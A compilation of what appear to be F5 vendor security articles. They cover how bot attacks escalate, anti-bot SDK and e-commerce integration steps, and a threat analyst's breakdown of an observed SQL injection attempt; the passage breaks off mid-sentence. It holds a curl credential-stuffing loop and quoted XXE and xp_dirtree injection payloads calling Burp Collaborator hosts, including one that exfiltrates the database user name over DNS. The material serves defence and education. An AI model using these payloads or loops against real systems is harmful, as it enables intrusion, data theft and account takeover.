How Attacks Evolve From Bots to Fraud - Part 2
In our previous article we discussed how an attackers sophistication evolves in order to bypass anti-automation countermeasures and achieve their actions on the target. In this article and video we walk through some specific automated attack tools and test them against a real endpoint protected by F5 Bot Defense to get a real look at this scenario. When it comes to an attacker being successful with their automation toolkit, it heavily depends on the Anti-Automation solution that is protecteing the web property they are attacking and the sophistication of the attacker. In order to bypass any countermeasures the attacker must make the attack look as human as possible. Let's briefly discuss the different tools we'll be using in our demo starting with low sophistication and ending with a higher sophistication attack. Low sophistication Attacks (e.g. CURL): for run in {1..10} do curl -s 'https://credstuff.acmecorp.com/user/signin' -i -X POST -d "username=1&password=1" > /dev/null echo echo CURL Credential Stuffing attempt $run done sleep 2 done Sample: CURL Script performing basic credential stuffing HTTP POST example CURL is a tool that almost everyone uses these days to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is designed to work without user interaction so of course it lends itself well to automation both good and bad. CURL offers a busload of useful tricks like proxy support, user authentication, FTP upload, HTTP post, SSL connections, cookies, file transfer resume, Metalink, and more. The number of features will make your head spin but it can also facilitate malicious activity and potentially fool origin servers that don't have proper checks in place. CURL can be used to generate automated credential stuffing attacks do to the massive amount of features CURL can generate much of the network traffic, headers, user agents strings and such that a real browser would. This can be used to fool origin servers into thinking it is a real browser and not an automated login attempt. Medium sophistication (e.g. Open Bullet 2) OpenBullet 2 is a cross platform automation suite powered by .NET core. It allows users to perform requests towards a target webapp and offers a lot of tools to work with the results. This software can be used for scraping and parsing data, automated pentesting and much more. This tool can also be used maliciously by attackers for Credential Stuffing and other automated web threats. It allows the user to import proxy lists, build automated attack configurations, leverage third party CAPTCHA solvers, and much more. High sophistication (e.g. Selenium with Python) from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Firefox() driver.get("http://www.python.org") assert "Python" in driver.title elem = driver.find_element_by_name("q") elem.clear() elem.send_keys("pycon") elem.send_keys(Keys.RETURN) assert "No results found." not in driver.page_source driver.close() Sample: Selenium Python Script performing basic browser automation function Selenium is an umbrella project for a range of tools and libraries that enable and support the automation of web browsers. Selenium supports automation of all the major browsers in the market through the use of WebDriver. WebDriver is an API and protocol that defines a language-neutral interface for controlling the behaviour of web browsers. With this ability to automate Web Browsers through the use of scripting can also lend itself to enabling an attacker to attempt to bypass many anti-automation solutions for a variety of different attacks. OWASP has defined a list of many of the different Automated Threats here... Learn more about the Selenium Browser Automation Project here Video Description: Automated attack tools are evolving quickly. Increasing scale, sophistication, and human emulation gives threat actors better chances of bypassing existing Bot Defense countermeasures leading to Account Takeover and Fraud. In this session we'll demonstrate how attacks evolve from bots to fraud. Hope you guys enjoyed this Overview and Demo. If there are any comments or questions please feel free to reach us in the comments section. Thanks! Related Content: Deploy Bot Defense on any Edge with F5 Distributed Cloud (SaaS Console, Automation) How Attacks Evolve From Bots to Fraud Part: 1 F5 Bot Management
How Attacks Evolve from Bots to Fraud - Part 1
Bot Basics A bot is a software program that performs automated, repetitive, pre-defined tasks. Bots typically imitate or replace human user behavior because they operate much faster than human users. Good Bots make the Internet work - From search engine crawlers that bring the world to your fingertips to chatbots that engage and enhance the user experience. How Do Bots Facilitate Fraud? Bots can also be used to scale automated attacks which can result in account takeover (ATO) and fraud. Motivated cyber criminals leverage a sophisticated arsenal of bots, automation, and evasion techniques. They also perform ongoing reconnaissance to identify security countermeasures and constantly retool their attacks to evade detection. Automated Bot Attack Vector Examples... Credential Stuffing Automated Account Creation Content Scraping High Value Data Credit Application Fraud Gift Card Cracking Application DDoS Aggregator Threats Fake Account Creation Inventory Hoarding Bypass Auth reCAPTCHA The list goes on... Business Impact of Bad Bots Infrastructure Costs - Infrastructure needs to scale to deal with unwanted and/or undetected bot traffic Competitive Intelligence - Web scrapers collect important data to help competitors adjust their pricing strategies Wrong Business Decisions - Bot traffic distorts web site analytics which could lead to making wrong business decisions Sneaker Bots - Bots are buying limited editions of certain products before regular buyers and then sell on black market Account Take-over - Credential stuffing leveraging stolen accounts purchased on the Darkweb providing access Fraudulent Transactions - Fraudulent transactions with large financial consequences as a result of account take-over in the finance sector The Industrialized (organized) Attack Lifecycle Figure 1. It begins with unwanted automation and ends with account takeover and application fraud What are Credential Spills? Credential Spill - A cyber incident in which a combination of username and/or email and password pairs becomes compromised. Date of Announcement - The first time a credential spill becomes public knowledge. This announcement could occur in one of two ways: A breached organization alerts its users and/or the general public A security researcher or reporter discovers a credential spill and breaks the news Date of Discovery - When an organization first learned of its credential spill. Organizations are not always willing to share this information. Stolen Credentials - Criminal Usage by Stage Stage 1: Slow and Quiet Sophisticated threat actors operating in stealth mode - 150 to - 30 days before the public announcement Each credential used (on average) 20 times per day Figure 2. Slow and quiet stage. Attackers use credentials in stealth mode from 150 to 30 days before the public announcement Stage 2: Ramp Up Creds become available on Darknet around ~30 days before public announcement Use of creds ramp up to 70 times per day Figure 3. The ramp-up stage. Attackers ramp up use of compromised credentials 30 days before the public announcement. Stage 3: The Blitz Credentials become public knowledge Script Kiddies + N00bs The first week is absolute chaos - each account attacked > 130 times per day Figure 4. The blitz stage. Script kiddies and other amateurs race to use credentials after the public announcement. Stage 4: Drop-Off / New Equilibrium Creds *should* be worthless at this point... Consumer reuse and lack of change allows for attacker "repackaging" and long tail value Figure 5. The drop-off stage. Credentials no longer have premium value Network Traffic Automation The simplest level of user simulation contains tools that make no attempt toemulate human behavior orhigher levelbrowser activity. They simply craftHTTP requests along specified parameters and pass them along to the target.These are the simplest, cheapest, and fastest tools.Sentry MBAis perhaps thestandard tool of this type. Figure 6. Sentry MBA, a standard user simulation tool Browser and Native App Automation Most of the websites that we interact with every day—online banking, ecommerce, and travel sites—consist of large web applications built on hundreds of thousands of lines of JavaScript. These webpages are not simple documents, so simulating convincing transactions at the network level is extremely complex. At this point, it makes more sense for an attacker to automate activity at the browser level. Until 2017, PhantomJS was the most popular automated browser in the market. When Google released Chrome 59 that year, however, it pushed forward the state of browser automation by exposing a programmatically controllable “headless” mode (that is, absent a graphical user interface) for the world's most popular browser, Chrome. This gave attackers the ability to quickly debug and troubleshoot their programs using the normal Chrome interface while scaling their attacks. Furthermore, just weeks after this announcement, Google developers released Puppeteer, a cross-platform Node.js library that offers intuitive APIs to drive Chrome-like and Firefox browsers. Puppeteer has since become the go-to solution for browser automation, as you can see from its growing popularity in web searches. Figure 7. Google trends graph showing interest in PhantomJS versus Puppeteer between 2010 and 2016. (Source: Google Trends) Simulating Human Behavior The next level of sophistication above simulating a browser is simulating human behavior. It's easy to detect rapid, abrupt mouse movements and repeated clicks at the same page coordinates (such as a Submit button), but it is much harder to detect behavior that includes natural motion and bounded randomness. While Puppeteer and the Chrome DevTools Protocol can generate trusted browser events, such as clicks or mouse movements, they have no embedded functionality to simulate human behavior. Even if perfect human behavior was as simple as including a plug-in, Puppeteer is still a developer-oriented tool that requires coding skill. Enter Browser Automation Studio, or BAS. BAS is a free, Windows-only automation environment that allows users to drag and drop their way to a fully automated browser, no coding needed. Figure 8. Browser Automation Studio User Interface Scaling Up Real Human Behavior As attackers grow in capability, they succeed in creating automated attacks that look more like human behavior. In some contexts, it actually makes more sense to just use actual humans. "Microwork" is a booming industry in which anyone can farm out small tasks in return for pennies. These services describe their jobs as ideal for labeling data destined for machine learning systems and, in theory, that would be a perfect use. In reality, the tasks the human workers perform are helping bypass antibot defenses on social networks, retailers, and any site with a login or sign-up form. Figure 9. Data labeling “microwork” using humans to help bypass antibot defenses In Conclusion Depending on the attacker sophistication level and motivation there are a variety of tools ranging from basic automation to leveraging real humans to attempt to bypass bot defenses and perform account takeover actions. No matter the skill level, most attackers (at least, most cybercriminals) will start off with the cheapest, that is, least sophisticated, attacks in order to maximize rate of return. Able attackers will only increase sophistication (and thereby cost) if their target has implemented countermeasures that detect their original attack, and if the rewards still outweigh that increased cost. Related Content: Deploy Bot Defense on any Edge with F5 Distributed Cloud (SaaS Console, Automation) How Attacks Evolve From Bots to Fraud - Part 2 F5 Labs 2021 Credential Stuffing ReportF5 and Promon Have Partnered to Protect Native Mobile Applications from Automated Bots - Easily
This DevCentral article provides details on how F5 Bot Defense is used today to protect against mobile app automated bot traffic from wreaking havoc with origin server infrastructure and producing excessive nuisance load volumes, and in turn how the Promon Mobile SDK Integrator is leveraged to speed the solution's deployment. The integrator tool contributes to the solution by allowing the F5 anti-bot solution to be inserted into customer native mobile apps, for both Apple and Android devices, with a simple and quick “No Code” approach that can be completed in a couple of minutes.No source code of the native mobile app need be touched, only the final compiled binaries are required to add the anti bot security provisions as a quick, final step when publishing apps. Retrieving Rich, Actionable Telemetry in a Browser World In the realm of Internet browser traffic, whether the source be Chrome, Edge, Safari or any other standards-based web browser, the key to populating the F5 anti-bot analytics platform with actionable data is providing browsers clear instructions of when, specifically, to add telemetry to transactions as well as what telemetry is required.This leads to the determination, in real time, of whether this is truly human activity or instead automated, negative hostile traffic. The “when” normally revolves around the high value server-side endpoint URLs, things like “login” pages, “create account” links, “reset password” or “forgot username” pages, all acting like honeypot pages where attackers will gravitate to and direct brute force bot-based attacks to penetrate deep into the service. All the while, each bot will be cloaked to the best of their abilities as a seemingly legitimate human user.Other high-value transaction endpoints would likely be URLs corresponding to adding items to a virtual shopping cart and checkout pages for commercial sites. Telemetry, the “what” in the above discussion, is to be provided for F5 analytics and can range from dozens to over one hundred elements.One point of concern is inconsistencies in the User Agent field produced in the HTTP traffic, where a bot may indicate a Windows 10 machine using Chrome via the User Agent header, but various elements of telemetry retrieved indicate a Linux client using Firefox.This is eyebrow raising, if the purported user is misleading the web site with regards to the User Agent, what is the traffic creator’s endgame? Beyond analysis of configuration inconsistencies, behavioral items are noted such as unrealistic mouse motions at improbable speeds and uncanny precision suggesting automation, or perhaps the frequent use of paste functions to fill in form fields such as username, where values are more likely to be typed or be auto filled by browser cache features. Consider something as simple as the speed of key depressed and the key being released upward, if signals indicate an input typing pace that defies the physics of a keyboard, just milliseconds for a keystroke, this is another strong warning sign of automation. Telemetry in the Browser World Telemetry can be thought of as dozens and dozens of intelligence signals building a picture of the legitimacy of the traffic source. The F5 Bot Defense request for telemetry and subsequently provided values are fully obfuscated from bad actors and thus impossible to manipulate in any way. The data points lead to a real time determination of the key aspect of this user:is this really a human or is this automation? This set of instructions, directing browsers with regards to what transactions to decorate with requested signals, is achieved by forcing browsers to execute specific JavaScript inserted into the pages that browsers load when interacting with application servers.The JavaScript is easily introduced by adding JavaScript tags into HTML pages, specifically key returned transactions with “Content Type=text/HTML” that subsequently lead to high value user-side actions like submission of user credentials (login forms). The addition of the JavaScript tags is frequently inserted in-line to returned traffic through a F5 BIG-IP application delivery controller, the F5 Shape proxy itself, or a third-party tag manager, such as Google Tag Manager.The net result is a browser will act upon JavaScript tags to immediately download the F5 JavaScript itself.The script will result in browsers providing the prescribed rich and detailed set of telemetry included in those important HTTP transactions that involve high value website pages conducting sensitive actions, such as password resetting through form submissions. Pivoting to Identify Automation in the Surging Mobile Application Space With native mobile apps, a key aspect to note is the client is not utilizing a browser but rather what one can think of a “thick” app, to borrow a term from the computer world.Without a browser in play, it is no longer possible to simply rely upon actionable JavaScript tags that could otherwise be inserted in flight, from servers towards clients, through application delivery controllers or tag managers.Rather, with mobile apps, one must adjust the app itself, prior to posting to an app store or download site, to offer instructions on where to retrieve a dynamic configuration file, analogous to the instructions provided by JavaScript tag insertion in the world of browsers. The retrieved configuration instruction file will guide the mobile app in terms of which transactions will require “decorating” with telemetry, and of course what telemetry is needed.The telemetry will often vary from one platform such as Android to a differing platform such as Apple iOS.Should more endpoints within the server-side application need decorating, meaning target URLs, one simply adjusts the network hosted configuration instruction file. This adjustment in operations of a vendor’s native mobile application behavior is achieved through F5 Bot Defense Mobile SDK (Software Development Kit) and representative provided telemetry signals might include items like device battery life remaining, device screen brightness and resolution and indicators of device setup, such as a rooted device or an emulator posing as a device.Incorrectly emulated devices, such as one displaying mutually exclusive iOS and Android telemetry, concurrently, allows F5 to isolate troublesome, unwanted automated traffic from the human traffic required for ecommerce to succeed efficiently and unfettered. The following four-step diagram depicts the process of a mobile app being protected by F5 bot defense, from step one with the retrieval of instructions that include what transactions to decorate with telemetry data, through to step four where the host application (the mobile app) is made aware if the transaction was mitigated (blocked or flagged) by means of headers introduced by the F5 Antibot solution. The net result of equipping mobile apps with the F5 Bot Defense Mobile SDK, whether iOS or Android, is the ability to automatically act upon automated bot traffic observed, without a heavy administrative burden. A step which is noteworthy and unique to the F5 mobile solution is the final, fourth step, whereby a feedback mechanism is implemented in the form of the Parse Response header value.This notifies the mobile app that the transaction was mitigated (blocked) en route.One possible reason this can happen is the app was using a dated configuration file, and a sensitive endpoint URL had been recently adjusted to require telemetry.The result of the response in step 4 is the latest version of the config file, with up-to-date telemetry requirements, will automatically be re-read by the mobile app and the transaction can now take place successfully with proper decorated telemetry included. Promon SDK Integrator and F5 Bot Defense: Effortlessly Secure Your Mobile Apps Today One approach to infusing a native mobile app with the F5 Bot Defense SDK would be a programmatic strategy, whereby the source code of the mobile app would require modifications to incorporate the F5 additional code.Although possible, this may not be aligned with the skillsets of all technical resources requiring frequent application builds, for instance for quality assurance (QA) testing. Another issue might be a preference to only have obfuscated code at the point in the publishing workflow where the security offering of the SDK is introduced.In simple terms, the core mandate of native mobile app developers is the intellectual property contained within that app, adding valuable security features to combat automation is more congruent with a final checkmark obtained by protecting the completed application binary with a comprehensive protective layer of security. To simplify and speed up the time for ingestion of the SDK, F5 has partnered with Promon, of Oslo, Norway to make use of an integrator application from Promon which can achieve a “No Code” integration in just a few commands.The integrator, technically a .jar executable known as the Shielder tool at the file level, is utilized as per the following logic. The workflow to create the enhanced mobile app, using the Promon integration tool, with the resultant modified mobile app containing the F5 (Shape) SDK functions within it, consists of only two steps. 1.Create a Promon SDK Integrator configuration file 2.Perform the SDK injection An iOS example would take the follow form: Step 1: python3 create_config.py --target-os iOS --apiguard-config ./base_ios_config.json --url-filter *.domain.com --enable-logs --outfile sdk_integrator_ios_plugin_config.dat Step 2: java -jar Shielder.jar --plugin F5ShapeSDK-iOS-Shielder-plugin-1.0.4.dat --plugin sdk_integrator_ios_plugin_config.dat ./input_app.ipa --out . /output_app.ipa --no-sign Similarly, an Android example would remain also a simple two-step process looking much like this: Step 1: python3 create_config.py --target-os Android --apiguard-config ./base_android_config.json --url-filter *.domain.com --enable-logs --outfile sdk_integrator_android_plugin_config.dat Step 2: java -jar Shielder.jar --plugin F5ShapeSDK-Android-Shielder-plugin-1.0.3.dat --plugin sdk_integrator_android_plugin_config.dat ./input_app.apk --output ./output_app.apk In each respective “Step 1”, the following comments can be made about the create_config.py arguments: target-os specifies the platform (Apple or Android). apiguard-config will provide a base configuration .json file, which will server to provide an initial list of protected endpoints (corresponding to key mobile app exposed points such as “create account” or “reset password”), along with default telemetry required per endpoint.Once running, the mobile app equipped with the mobile SDK will immediately refresh itself with a current hosted config file. url-filter is a simple means of directing the SDK functions to only operate with specific domain name space (eg *.sampledomain.com).Url filtering is also available within the perpetually refreshed .json config file itself. enable-logs allows for debugging logs to be optionally turned on. outfile specifies for file naming of the resultant configuration.dat file, which is ingested in step 2, where the updated iOS or Android binary, with F5 anti-bot protections, will be created. For Step 2, where the updated binaries are created, for either Apple iOS or Android platforms, these notes regard each argument called upon by the java command: shielder.jar is the portion of the solution from Promon which will adjust the original mobile application binary to include F5 anti-bot mobile security, all without opening the application code. F5ShapeSDK-[Android or iOS]-Shielder-plugin-1.0.3.dat is the F5 antibot mobile SDK, provide in a format consumable by the Promon shielder. The remaining three arguments are simply the configuration output file of step 1, the original native mobile app binary and finally the new native mobile app binary which will now have anti-bot functions. The only additional step that is optionally run would be re-signing the new version of the mobile application, as the hash value will change with the addition of the security additions to the new output file. Contrasting the Promon SDK Integrator with Manual Integration and Mobile Application Requirements The advantage of the Promon Integrator approach is the speed of integration and the lack of any coding requirements to adjust the native mobile application.The manual approach to integrating F5 Bot Defense Mobile SDK is documented by F5 with separate detailed guides available for Android and for iOS.A representative summary of the steps involved include the following check points along the path to successful manual SDK integration: oImporting the provided APIGuard library into Android Studio (Android) and Xcode (iOS) environments oThe steps for iOS will differ depending on whether the original mobile app is using a dynamic or static framework, commands for both Swift and Objective-c are provided in the documentation oThe F5 SDK code is already obfuscated and compressed; care should be followed not to include this portion of the revised application in existing obfuscation procedures oWithin Android Studio, expand and adjust as per the documentation the Gradle scripts oInitialize the Mobile SDK; specific to Android and the Application Class the detailed functions utilized are available with the documentation, including finished initialization examples in Java and Kotlin oSpecific to iOS, initialize the mobile SDK in AppDelegate, this includes adding APIGuardDelegate to the AppDelegate class as an additional protocol, full examples are provided for Swift and Obective-c oBoth Android and iOS will require a GetHeaders functions be invoked through code additions for all traffic potentially to be decorated with telemetry, in accordance with the instructions of the base and downloaded configuration files As demonstrated the by the list length of these high-level and manual steps above, which involve touching application code, the alternative ease and simplicity of the Promon Integrator two command offering may be significant in many cases. The platform requirements for the F5 Bot Defense and Promon paired solution are not arduous and frequently reflect libraries used in many native mobile applications developed today.These supported libraries include: oAndroid: HttpURLConnection, OkHttp, Retrofit oiOS: NSURLSession, URLSession, Alamofire Finally, mobile applications that utilize WebViews, which is to say applications using browser-type technologies to implement the app, such as support for Cascading Style Sheets or JavaScript, are not applicable to the F5 Bot Defense SDK approach.In some cases, entirely WebView implemented applications may be candidates for support through the browser style JavaScript-oriented F5 Bot Defense telemetry gathering. Summary With the simplicity of the F5 and Promon workflow, this streamlined approach to integrating the anti-bot technology into a mobile app ecosystem allows for rapid, iterative usage. In development environments following modern CI/CD (continuous integration/continuous deployment) paradigms, with build servers creating frequently updated variants of native mobile apps, one could invoke the two steps of the Promon SDK integrator daily, there are no volume-based consumption constraints.
F5 Bot Defense for Salesforce Commerce Cloud – Protect Your E-Commerce Site From Unwanted Bots and Illegitimate Traffic (1 of 2)
This article is the first in a two-part series. Go to Part 2 here. Introduction Effective security matters to every retailer of every size because attacks continue to increase, whether engineered by humans or automated by bots. To help all our e-commerce customers succeed, F5 has made security easy to adopt and offers a wide range of integrations, including with cloud-based commerce platforms like Salesforce Commerce Cloud (SFCC). F5 Bot Defense integrates directly into the SFCC storefront and protects your digital business against unwanted bots and illegitimate traffic. Website owners and developers can gain full visibility, protect against credential stuffing, fraud & abuse attacks, and other advanced attacks that bypass traditional security controls. In this article, you will learn how to configure and customize the F5 Bot Defense solution for your SFCC site. The solution is delivered as a certified cartridge and supports both the legacy Site Genesis Salesforce Commerce Cloud eCommerce sites and the modern Storefront Reference Architecture (SFRA) sites. Note: This article contains a fair number of references to Shape Security-related offerings including Shape Enterprise Defense. Shape Security was acquired by F5 in 2020 and many of the products and offerings are currently undergoing a rebranding effort. During a period of time, you will continue to see the Shape branding reflected in the user interface, some settings, and occasionally in product references. Figure 1: F5 Bot Defense for Salesforce Commerce Cloud Deployment Steps The F5 cartridge can be deployed with either Storefront Reference Architecture (SFRA), a controller-based SiteGenesis site, or a pipeline-based SiteGenesis site. The deployment steps outlined below were tested for Salesforce B2C Version 21.7, Compatibility mode 21.2, and SFRA version 6.0.0. Prerequisites F5 Bot Defense requires an API key and a header prefix string for your e-commerce website to connect to the backend engine. Please contact your F5 account team or F5 customer services for any help in obtaining the API key and the prefix string. Step 1: Install the F5 Cartridge and Import the Metadata Firstly, you will install the F5 Cartridge and set up the business manager, for integrating F5 Bot Defense with SFCC. Download and Install the F5 Bot Defense Cartridge Deploy the F5 Bot Defense cartridge using Salesforce UX Studio for Eclipse. Alternatively, you can use Visual Studio code with the Prophet Debugger extension. Download the F5 cartridge from the SFCC LINK Marketplace by clicking on the Download Integration button. Establish a new digital server connection with your SFCC instance. Import cartridges to the workspace in Salesforce UX Studio. Figure 2: F5 Bot Defense cartridge imported into the workspace within Salesforce UX Studio Add the cartridge to the Project Reference of Server Connection. Figure 3: F5 Bot Defense cartridge added to the Project Reference of Server Connection Wait until the Studio completes the workspace build and uploads source codes to the sandbox. Assign the F5 Bot Defense Cartridge to the Storefront Site In the SFCC Business Manager portal, navigate to Administration > Sites > Manage Sites. On the Storefront Sites webpage, click on your site name. Next, click on the Settings tab on the site webpage. At the beginning of the cartridge path, add the following: int_f5:int_f5_sfra: When done, press the Apply button. Figure 4: F5 Bot Defense cartridge path added to the Storefront site Import the Metadata To add the newly configured setting to the Storefront site, you will need to import the pre-defined metadata: Open the downloaded cartridge package and navigate to the /metadata/f-five folder. Click on the Sites folder and rename the RefArch folder to the ID of your storefront site specified in the Business Manager. Then, zip the f-five folder. Navigate to Administration > Site Development > Site Import & Export. Under the Upload Archive section, upload the f-five.zip file and click on the Import button. Figure 5: Import the pre-defined metadata for the site using the ‘Site Import & Export’ feature Continue reading Part 2 here.F5 Bot Defense for Salesforce Commerce Cloud – Protect Your E-Commerce Site From Unwanted Bots and Illegitimate Traffic (2 of 2)
This article is the second in a two-part series. Go to Part 1 here. Step 2: Setup the Integration You will identify the endpoints and customize several settings in the F5 cartridge. Custom Objects The integration uses custom objects to configure endpoints that should be protected. Custom objects are stored locally (per Site). Navigate to Merchant Tools > Custom Objects > Manage Custom Objects There are three custom object types. BotProtectedEndpoints - describes the protected endpoint behavior SAFEEndpoints - describes the protected endpoint behavior for SAFE mode GETScrapingEndpoints - describes the protected endpoint behavior ISTL BotProtectedEndpoints and GETScrapingEndpoints have the same structure. SAFEEndpoints have only ‘id’ and ‘paths’ fields. The custom object stores a list of all protected endpoints and describes their behavior for different F5 Shape solutions. The example below outlines how to configure the account-login-post object as a protected endpoint. Select the object type based on the subscribed mode and click on the Find button. In the results, click on the account-login-post object id and select a Mitigation Action. Figure 6: Sample configuration to define a protected endpoint Custom Site Preference Groups. Here, you will specify the values of various options to customize the F5 integration. Navigate to Merchant Tools > Custom Site Preferences Groups > Site Preferences > Custom Preferences and click on Shape. Enter the values for Telemetry Header Prefix, F5 Shape API hostname, and API key, obtained from F5. Figure 7: Sample configuration to specify the values for connecting to the F5 Bot Defense back-end engine Scroll down to Specify F5 Shape JS URL or Path. Enter the JS URL. In the Select location for JS tag(s) option, you will choose one of the following, based on your preferred location to insert the JS tag: After head (head) After tail (tail) Before script (script) Figure 8: Sample configuration to specify the values for F5 Shape JS URL and its path In the Insert JS tag(s) in only specific web pages (entry pages) option, select either Yes/ No. The No choice will insert the JS tag to all the webpages The Yes choice will provide an additional option to specify the web pages for which the JS tag needs to be inserted. Figure 9: Sample configuration to assign the JS tag to specific entry pages This completes the F5 cartridge configuration. When done, click on the Save button at the top right-hand cover of the web page. Step 3: Verification To test the F5 Bot Defense integration with SFCC, emulate a malicious request from a client machine to your e-commerce website. From Browser Access and log in to your SFCC site from the browser. Inspect the web page source; you will notice the JS inserted by the SFCC. Figure 10: JS insertion You will also notice the prefix string and the telemetry headers passed in the HTTP POST. Figure 11: Telemetry headers inserted in the HTTP POST Now, disable the JavaScript support in the setting of the client browser and log in to your site. The F5 Bot Defense will identify this HTTP request as malicious web traffic and will block the request ('Block' is the migration action selected for the account-login-post in the custom objects) Figure 12: F5 Bot Defense blocked the request from the JS disabled browser F5 Bot Protection Manager Access your F5 Bot Protection Manager portal to see all the client requests to your e-commerce site. You will notice all the shoppers' traffic to the storefront, the login request from the JavaScript disabled browser that was used to emulate bot traffic will be flagged by F5 Bot Defense in red as malicious. Figure 13: Malicious bot traffic detection by F5 Bot Defense The F5 Bot Defense integration with SFCC using the certified cartridge is an easy-to-deploy solution that seamlessly works with the Storefront Reference Architecture. With this industry-leading MI-driven security, your digital business is safeguarded in real-time with superior accuracy & long-term efficacy. Deploy the cartridge from the SFCC Link Marketplace to minimize the impact of Bots on your business, confidently. Additional Resources F5 Bot Defense integration for SFRA sites: Configuration Guide F5 Bot Defense integration for SiteGenesis sites: Configuration Guide Solution Lightboard: YouTube Video Salesforce partnership: Technology Alliance on F5.com
The Tale of Little Bobby Tables
OK, this post is not about Little Bobby Tables but if you are familiar with the xkcd comic “Exploits of a Mom,” then you might be aware of some of the potential impacts of SQL injection attacks. In fact, injection is currently number one on the Open Web Application Security Project (OWASP) Top 10, so it’s understandably a serious concern for anyone running a web application.As a data scientist for Shape’s Threat Analytics team, I have the opportunity to deep dive into automation for a lot of different customers. I see plenty of interesting things all the time, from crazy malformed user agents to advanced use of Selenium WebDriver, but the highlight of my findings so far is an attempted SQL injection attack identified in new account creation traffic. In this post, we will take a closer look at what was going on with this attack, and how it was effectively mitigated by Shape. The Very Basics of a SQL Injection Attack Before we get too far into the details, I want to provide a brief overview of what a SQL injection attack is. This attack consists of inserting SQL queries in input fields for a web application, where a successful attack gets the application to actually run those queries. The queries themselves can be designed to accomplish a number of different things, including reading sensitive data, modifying data, or even issuing commands to the operating system. In this attack, the email field for account registration was used as the input field, and the attacker tried to execute a couple of different queries. With the stage set, let’s dive into some of the details. A Bold Opening The very first thing the attacker put in the email field was: (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % mszjb SYSTEM "http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c.burpcollab'||'orator.net/">%mszjb;]>'),'/l') from dual) What I like about this first play is that they didn’t even bother putting in an email address, and just went straight to the heart of the matter. There’s a few different things going on in this command, so we will take them part by part.First thing we will notice is that this query is trying to do something with XML. In fact, they are trying to execute a SQL injection to XML External Entity (XXE) attack, which makes sense because CVE 2014-6577 specifically describes this vulnerability for Oracle databases [1,2]. In an XXE attack, an attacker takes advantage of a special external entity for XML, the SYSTEM external entity, which lets you specify any URI to replace the contents of a declared entity. In this command, the attacker has declared “mszjb” as a SYSTEM entity, and they want to replace it with “http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c[.]burpcollab'||'orator[.]net/.”For an Oracle database, “||” is a string concatenation operator. If we put the string together, we see the full URI is “http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c[.]burpcollaborator[.]net/,” which is a Burp Collaborator payload. Burp Collaborator is used to identify many different types of web application vulnerabilities [3]. To summarize what’s happening in this command, the attacker is using SQL injection for an XXE attack that will run Burp Collaborator and help them find additional weaknesses for exploitation. As I said previously, quite a bold opening! If at first you don't succeed... Sadly for the attacker, this first attempt did not go as planned, so they essentially tried to do the exact same thing but bothered with an email address first (a Mailinator email address, which alone might seem a little suspicious since normal users don’t typically use a disposable email address when creating new accounts) [4]. This second attempt also did not work, so they tried something new for the next several attempts: emailaddress;declare @q varchar(99);set @q='\\9nxmcsvsef8x6w9auyck15nrxi3d2hq8gw8jy7n.burpcollab'+'orator.net\chd'; exec master.dbo.xp_dirtree @q;-- emailaddress';declare @q varchar(99);set @q='\\jviwk232mpg7e6hk28ku9fv15sbnaryip6ht7hw.burpcollab'+'orator.net\zhf'; exec master.dbo.xp_dirtree @q;-- emailaddress);declare @q varchar(99);set @q='\\unl7cdvde08i6h9vujc51qncx33y22qtiha40sp.burpcollab'+'orator.net\ghv'; exec master.dbo.xp_dirtree @q;-- emailaddress');declare @q varchar(99);set @q='\\87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a.burpcollab'+'orator.net\ejb'; exec master.dbo.xp_dirtree @q;-- Now, the attacker is doing something quite different in these queries. First, they are attempting to use a stored procedure “xp_dirtree,” which specifically applies to Microsoft SQL servers. As the classic saying goes, “If at first your SQLi doesn’t succeed, change your database assumptions.” The xp_dirtree stored procedure attempts to list all of the folders in a directory. In these commands, they have created a variable to store a domain of absolutenonsense[.]burpcollaborator[.]net. Note that they are again breaking up the domain, but using the “+” operator, which is a string concatenation operator for Microsoft SQL. In order for the xp_dirtree procedure to list all the folders for absolutenonsense[.]burpcollaborator[.]net, it needs to resolve this domain so it will make a DNS lookup.Assuming the attacker controls the authoritative name server for absolutenonsense[.]burpcollaborator[.]net, they can see this request in their DNS logs. This approach is an example of an Out of Band (OOB) technique. OOB techniques are useful when the page response content is not useful in indicating whether the server is vulnerable to SQL injection. Just because the response content doesn’t change, does not mean that the server is not vulnerable and executing the SQL commands. OOB approaches provide an attacker with another method of determining vulnerabilities, and they’re considered “blind injection” approaches because they don’t rely on assessing the page output. When OOB methods are successful, you can easily exfiltrate data by putting it in the subdomain, meaning the attacker could do something like: declare @q varchar(99);set @q='\\'+user_name()+'87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a.burpcollab'+'orator.net\ejb'; exec master.dbo.xp_dirtree @q;-- and find a request for “database-user-name[.]87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a[.]burpcollaborator[.]net” in their DNS logs. Quite a convenient (and quick, compared to other options) method to exfiltrate data! You might have noticed that after the email address, they try a number of different things before the query: “;”, “‘;”, “);”, and “‘);”. They are not seeing any DNS requests, so they may suspect it’s because their query isn’t getting appended correctly in order to run. They are making these changes in order to see if that results in the query running successfully. Of course, none of these changes matter because Shape is blocking all of this traffic but they don’t know that! Time Works Wonders This attacker turned out to be pretty persistent so they continued trying a few other things to test whether the server was vulnerable. I won’t go into full detail here, but the interesting final tactic employed was another type of blind injection categorized as time-based. As I mentioned previously, the attacker isn’t able to get any useful information in the response content, and their OOB experimentation didn’t yield any fruitful results.Time-based methods are another way of testing a server for SQL injection vulnerability by simply timing the server’s responses. They’re not necessarily ideal, because unstable servers might interfere with the validity of timing results, but they can nonetheless be effective approaches. For time-based approaches, attackers will use functions like sleep or waitfor (of course selecting the right varietal of these functions for the specific database) in order to induce server delays.Timing results for commands that should cause delays can therefore be used to confirm whether the server is vulnerable to SQL injection. Better yet, when used in conjunction with conditional statements, you can methodically work your way through various information retrieval tasks, like guessing table names, or number of columns, or even user passwords. Slow and steady wins the vulnerability-determination race, as they say. Wrapping Up If you’re thinking that using a time-based approach seems like quite a daunting undertaking to get all of this information, you would be right. In fact, 